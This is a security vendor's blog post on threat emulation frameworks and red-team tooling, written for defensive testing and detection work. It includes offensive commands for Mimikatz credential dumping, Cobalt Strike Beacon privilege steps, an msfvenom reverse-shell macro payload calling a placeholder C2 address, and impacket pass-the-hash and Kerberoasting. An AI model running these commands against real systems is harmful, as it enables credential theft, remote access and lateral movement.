Most organizations spend heavily on security tools and still get breached. The reason is almost always the same: they test for compliance, not for reality. Threat emulation frameworks exist to close that gap. They give red teams a structured, intelligence-driven methodology to simulate the actual behavior of real-world adversaries, not just generic attack patterns, but the specific techniques used by nation-state groups, ransomware operators, and organized cybercriminal networks targeting your industry.
This blog breaks down what threat emulation frameworks are, how the leading ones work, the technical commands and tooling involved, and why organizations that take security seriously are moving beyond vulnerability scanning into full-scope adversary simulation.
A threat emulation framework is a structured approach to replicating adversary behavior based on real-world intelligence. Unlike a standard penetration test that checks for known vulnerabilities, threat emulation follows the kill chain of a specific threat actor: their initial access methods, persistence mechanisms, lateral movement techniques, and data exfiltration patterns.
The goal is not to find as many vulnerabilities as possible. The goal is to answer one question: if a specific, motivated adversary targeted your organization today, would your defenses detect and stop them?
This requires:
If your current security testing stops at running Nessus scans or basic phishing simulations, you are testing the wrong thing. Redfoxsec's professional penetration testing services are built around adversary-realistic engagements that go well beyond automated scanning.
MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) is the most widely referenced threat emulation framework in the industry. It is a publicly available knowledge base of adversary behavior derived from real-world threat intelligence, organized into a matrix of tactics (the "why") and techniques (the "how").
The ATT&CK matrix covers:
When red teams plan an engagement using ATT&CK, they select a specific threat actor profile (for example, APT29, Lazarus Group, or FIN7) and map their playbook to the techniques that group is known to use. This is adversary emulation at its most structured.
A typical ATT&CK-aligned command sequence for testing credential access using Mimikatz looks like this:
privilege::debug
sekurlsa::logonpasswords
lsadump::lsa /patch
[cta]
This simulates T1003.001 (LSASS Memory credential dumping), which is a staple technique of multiple nation-state actors. If your EDR does not alert on this, your detection engineering has a critical gap.
TIBER-EU (Threat Intelligence-Based Ethical Red Teaming) is a framework developed by the European Central Bank for testing the resilience of financial institutions against sophisticated cyber threats. It is mandatory or strongly recommended for central banks, payment systems, and major financial institutions across the EU.
What makes TIBER-EU distinct is its integration of genuine threat intelligence into the engagement design. A Threat Intelligence Provider (TIP) produces a targeted threat report specific to the institution before the red team begins. The red team then builds their campaign around that intelligence rather than generic attack chains.
TIBER-EU engagements cover:
For financial institutions operating in the EU or with EU counterparts, TIBER-EU is not optional. It is the benchmark regulators use to assess whether your security program is realistic or just theater.
CBEST is the UK's equivalent of TIBER-EU, overseen by the Bank of England and the Financial Conduct Authority. It applies to firms that are core to the UK financial system. Like TIBER-EU, it combines external threat intelligence with red team execution to produce a regulator-acceptable proof of resilience testing.
CBEST-aligned engagements require accredited providers and follow strict scoping rules, making them a good model even for organizations not subject to UK regulation. The discipline of starting from threat intelligence and building your attack scenario from there produces far more realistic results than open-scope penetration tests.
DeTT&CT (Detect Tactics, Techniques and Combat Threats) is a tool that complements MITRE ATT&CK by helping defenders map their data sources and detection coverage against the ATT&CK matrix. Red teams use it to identify detection gaps before an engagement. Blue teams use it to visualize which techniques they can detect and which they cannot.
ATT&CK Navigator is the browser-based visualization layer that lets teams color-code the ATT&CK matrix by coverage, priority, or threat actor alignment.
Red teams running a threat emulation engagement will typically use Navigator to build a threat actor heat map like this:
This is the kind of rigorous, intelligence-led approach that separates meaningful security testing from checkbox exercises.
Understanding the frameworks is one layer. Understanding the tooling is another. Professional red teams use a combination of open-source and commercial tools to emulate adversary behavior with precision.
Cobalt Strike is the most widely used commercial red team platform. It provides a command-and-control (C2) framework that replicates how real threat actors maintain persistent access and move laterally through networks. Its Beacon payload supports named pipe, HTTP, HTTPS, and DNS communication channels.
A basic Cobalt Strike Beacon staging command for testing egress filtering:
./TeamServer <IP> <password> /path/to/profile.profile
beacon> shell whoami
beacon> getuid
beacon> getsystem
[cta]
Defenders should be detecting Beacon's default indicators: its sleep patterns, jitter settings, and staging behavior. If they are not, that is a red team finding worth escalating immediately.
Atomic Red Team by Red Canary is an open-source library of small, focused tests mapped directly to MITRE ATT&CK techniques. Each "atomic" is a single test case that executes a specific technique and can be run in minutes.
To execute an atomic test for T1059.001 (PowerShell execution):
Invoke-AtomicTest T1059.001
[cta]
To list all available atomics for a technique:
Invoke-AtomicTest T1059.001 -ShowDetails
[cta]
To clean up after a test:
Invoke-AtomicTest T1059.001 -Cleanup
[cta]
Atomic Red Team is invaluable for purple team exercises where red and blue work together to validate whether specific techniques trigger alerts in the SIEM or EDR. Organizations that want to build this kind of continuous validation into their security program should explore Redfoxsec's red team and adversary simulation services to establish a repeatable engagement model.
CALDERA is an open-source adversary emulation platform developed by MITRE itself. It allows security teams to run automated adversary emulation campaigns using a plugin architecture. Caldera can chain techniques together to simulate multi-stage attack campaigns without requiring manual execution of each step.
To start a Caldera server:
cd caldera
python3 server.py --insecure
[cta]
Caldera uses "abilities" (individual ATT&CK-mapped techniques), "adversaries" (profiles that chain abilities), and "operations" (campaigns run against agents on target systems). A red team can configure a Lazarus Group adversary profile and run it autonomously against a test environment to measure how much of the campaign goes undetected.
BloodHound is a graph-based Active Directory enumeration tool that maps attack paths through AD environments. It is used by both red teams to find privilege escalation paths and blue teams to identify and remediate those paths before attackers exploit them.
To run SharpHound (the data collection component) and ingest results into BloodHound:
.\SharpHound.exe -c All --outputdirectory C:\Temp\
[cta]
Then load the resulting ZIP into the BloodHound GUI and query for shortest paths to Domain Admin. In almost every environment, BloodHound reveals at least one path that defenders did not know existed.
A professional threat emulation engagement follows a structured lifecycle. Here is what Redfox Cybersecurity's engagements look like in practice when scoped and executed properly.
The engagement begins with threat intelligence collection specific to the client's industry, geography, and technology stack. This includes reviewing existing threat reports for sector-specific actors, identifying their preferred initial access vectors, and building a campaign plan that reflects realistic adversary behavior.
Output: A threat scenario document that defines the simulated threat actor, their objectives, and the techniques to be used.
Initial access is tested using techniques aligned to the threat actor profile. This might include spear-phishing with weaponized documents, exploitation of internet-facing applications, or abuse of exposed remote access services.
A spear-phishing payload delivery command using a macro-laced document might look like:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<C2_IP> LPORT=443 -f docm -o payload.docm
[cta]
Or using a more evasion-aware approach with custom shellcode loaders to bypass signature-based AV detection.
Once access is established, the red team executes post-exploitation objectives including credential harvesting, internal reconnaissance, and lateral movement using stolen credentials or ticket-based attacks.
Pass-the-Hash lateral movement:
impacket-wmiexec -hashes :<NTLM_HASH> DOMAIN/Administrator@<TARGET_IP>
[cta]
Kerberoasting to extract service account hashes for offline cracking:
impacket-GetUserSPNs DOMAIN/user:password -dc-ip <DC_IP> -request
[cta]
These techniques are bread-and-butter for ransomware operators. If your blue team is not detecting them in your environment, you have a problem that a compliance audit will never surface.
The engagement culminates in achieving the defined objectives, whether that is reaching a sensitive data store, achieving domain compromise, or demonstrating the ability to deploy simulated ransomware payloads. The final report maps every finding to the ATT&CK framework, rates detection gaps, and provides prioritized remediation guidance.
If your organization has never gone through this kind of structured adversary simulation, get in touch with Redfox Cybersecurity's red team specialists to scope an engagement before an actual threat actor does it for you.
PCI-DSS, ISO 27001, SOC 2, and similar frameworks require penetration testing, but they do not require adversary-realistic testing. A penetration test that satisfies a compliance checkbox often involves running an automated scanner against known vulnerabilities and documenting the output. That tells you almost nothing about whether you could withstand a targeted attack.
Threat emulation frameworks exist because the threat landscape has matured beyond what compliance-driven testing can address. Ransomware groups now operate like enterprises. Nation-state actors pre-position inside networks for months before executing. Supply chain compromises bypass perimeter controls entirely.
The organizations that discover these intrusions early share one characteristic: they have tested their defenses against realistic adversary behavior and built detection coverage around the gaps. The organizations that read about their breaches in the news typically have not.
Threat emulation frameworks are not an advanced luxury for organizations with mature security programs. They are the logical next step for any organization that has basic controls in place and wants to know whether those controls actually work against the adversaries most likely to target them.
The frameworks covered here, MITRE ATT&CK, TIBER-EU, CBEST, and the tooling ecosystem around them, give security teams a structured, repeatable, and intelligence-driven way to answer the question that matters most: are we actually prepared?
The answer, in most environments, is partially. The value is in finding out which parts are working and which parts are not before an adversary finds out for you.
Redfox Cybersecurity offers full-scope red team engagements, threat emulation campaigns, and adversary simulation exercises built on the frameworks and methodologies described in this blog. Whether you need a MITRE ATT&CK-aligned red team assessment, an AD security review using BloodHound, or a structured purple team exercise to validate your detection coverage, the team at Redfox Cybersecurity has the expertise to deliver it.
Explore Redfox Cybersecurity's penetration testing and red team services here and take the first step toward security testing that reflects reality, not just compliance requirements.
Redfox Cyber Security Inc.
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